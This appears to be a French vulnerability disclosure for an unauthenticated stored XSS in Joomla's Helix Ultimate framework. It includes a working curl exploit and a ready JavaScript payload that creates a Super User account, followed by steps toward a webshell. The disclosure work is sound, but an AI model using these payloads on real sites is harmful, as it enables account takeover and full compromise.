
XSS stocké non authentifié dans Joomla Helix Ultimate (JoomShaper) <= 2.2.6
Ceci est le résultat le plus important de ce dossier de recherche — CRITIQUE, entièrement confirmé de bout en bout. Contrairement au bogue de suppression uniquement dans helix_ultimate_delete_poc.md, celui-ci offre un chemin réel et fonctionnel vers la compromission complète du site.
Composant : JoomShaper Helix Ultimate Framework (plg_system_helixultimate + modèle shaper_helixultimate)
Version testée : 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD 2026-07)
Auteur : Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate() est un gestionnaire d'événements standard du plugin com_ajax de Joomla (index.php?option=com_ajax&plugin=helixultimate&format=json&task=<Class.method>). Le composant central com_ajax de Joomla n'impose aucune authentification — c'est toujours la responsabilité du plugin. Ce gestionnaire effectue un dispatch arbitraire de méthode statique :
public function onAjaxHelixultimate()
{
$task = $input->get('task', '', 'STRING');
$namespace = "HelixUltimate\\Framework\\HttpResponse\\";
$class = "Response";
$classMethod = explode('.', $task);
if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; }
else { $method = $classMethod[0]; }
$class = $namespace . $class;
// ... class_exists / method_exists checks ...
$response = $class::$method(); // <-- arbitrary no-arg static call, namespace-confined
}
L'espace de noms est codé en dur (HelixUltimate\Framework\HttpResponse\), donc il ne s'agit pas d'un gadget RCE totalement arbitraire en soi — mais chaque méthode statique publique dans src/HttpResponse/Response.php devient appelable par n'importe qui, sans authentification et sans jeton CSRF. Aucune d'elles n'appelle Session::checkToken() ou authorise(). Il s'agit d'un point d'entrée complètement différent et séparé de la classe Request/Platform protégée par l'administrateur couverte dans le write-up de suppression — com_ajax contourne complètement cette protection.
Response::saveMegaMenuSettings()public static function saveMegaMenuSettings()
{
$input = Factory::getApplication()->input;
$settings = $input->post->get('settings', [], 'ARRAY'); // attacker-controlled, unsanitized values
$itemId = $input->post->get('id', 0, 'INT');
$menu = new SiteMenu;
$item = $menu->getItem($itemId);
$params = $item->getParams();
$params->set('helixultimatemenulayout', \json_encode($settings));
self::updateMenuItem($itemId, $params); // -> $db->updateObject('#__menu', $data, 'id', true)
}
Cela écrit du JSON contrôlé par l'attaquant directement dans la colonne params d'un élément de menu Joomla public et en direct — sans connexion, sans jeton CSRF, une seule requête HTTP.
overrides/mod_menu/default.php (code de modèle réel livré)Le fichier html/mod_menu/default.php du modèle distribué shaper_helixultimate est un shim d'une ligne :
require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate();
qui se résout (vérifié en lisant HTMLOverride.php) en plugins/system/helixultimate/overrides/mod_menu/default.php — le fichier qui rend réellement le menu de navigation principal du site sur chaque page, pour chaque visiteur :
$layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? "");
$helixMenuLayout = new Registry($layout);
$customClass = $helixMenuLayout->get('customclass', '');
...
$class .= ' ' . $customClass;
...
echo '<li class="' . $class . '">'; // <-- zero escaping
customclass — une clé que nous contrôlons entièrement via saveMegaMenuSettings() — est concaténée directement dans un attribut HTML sans htmlspecialchars().
shaper_helixultimate réel + plugin 2.2.6)$ curl -X POST "http://TARGET/index.php?option=com_ajax&plugin=helixultimate&format=json&task=saveMegaMenuSettings" \
--data-urlencode 'settings[customclass]="><script>alert(document.cookie)</script>' \
--data-urlencode "id=101"
{"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}}
Aucun champ de jeton CSRF n'a été envoyé — pas même le jeton trivial récupéré depuis la page d'accueil dont le bogue de suppression avait besoin.
Le HTML résultant servi à chaque visiteur suivant de la page d'accueil :
<li class="item-101 default current active "><script>alert(document.cookie)</script>"><a href="https://github.com/is4yev/cve-2026-57829/blob/main/index.php" aria-current="page">Home</a></li>
Une balise <script> exécutable dans le navigateur, injectée sans authentification, rendue sur la page la plus visitée du site (la navigation principale, présente sur chaque page via la position du module, pas seulement la page d'accueil).
C'est exactement le scénario que le dossier CVE-2026-48909 poursuivait à l'origine, atteint sous un angle complètement différent : XSS stocké non authentifié + détournement de session = prise de contrôle du compte, sans avoir à voler un mot de passe ou à bruteforcer l'installateur.
Tout administrateur qui ouvre la page d'accueil du site public dans le même navigateur où il est (ou était récemment) connecté à /administrator exécutera le JavaScript de l'attaquant avec son cookie de session intact. Charge utile conceptuelle (non exécutée contre une session administrateur réelle dans ce laboratoire — ce laboratoire n'a pas d'automatisation de navigateur pour simuler un administrateur connecté visitant la page ; la livraison du XSS elle-même est confirmée à 100 % ci-dessus, il s'agit de l'étape suivante bien comprise et standard) :
"><script>
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {credentials:'include'})
.then(r => r.text())
.then(html => {
const m = html.match(/name="([a-f0-9]{32})" value="1"/);
if (!m) return;
const token = m[1];
const fd = new FormData();
fd.append('jform[name]', 'sysupdate');
fd.append('jform[username]', 'sysupdate' + Date.now());
fd.append('jform[password]', 'AttackerP@ss123!');
fd.append('jform[password2]', 'AttackerP@ss123!');
fd.append('jform[email]', 'attacker' + Date.now() + '@evil.example');
fd.append('jform[block]', '0');
fd.append('jform[groups][]', '8'); // 8 = Super Users, default Joomla group id
fd.append('task', 'user.save');
fd.append(token, '1');
fetch('/administrator/index.php?option=com_users&task=user.save', {
method: 'POST', credentials: 'include', body: fd
});
});
</script>
Parce que le navigateur attache le cookie de session qu'il détient pour l'origine du site à toute requête de même origine — quel que soit l'onglet ou la page qui a déclenché le JavaScript — cela réussit tant que le cookie de session back-end de l'administrateur est valide dans ce navigateur au moment où la page frontale est visualisée. Cela crée un tout nouveau compte Super Utilisateur avec des identifiants choisis par l'attaquant. Ensuite : connexion à /administrator, modification de tout fichier de modèle (ou installation d'un nouveau) pour ajouter un webshell PHP → RCE complet.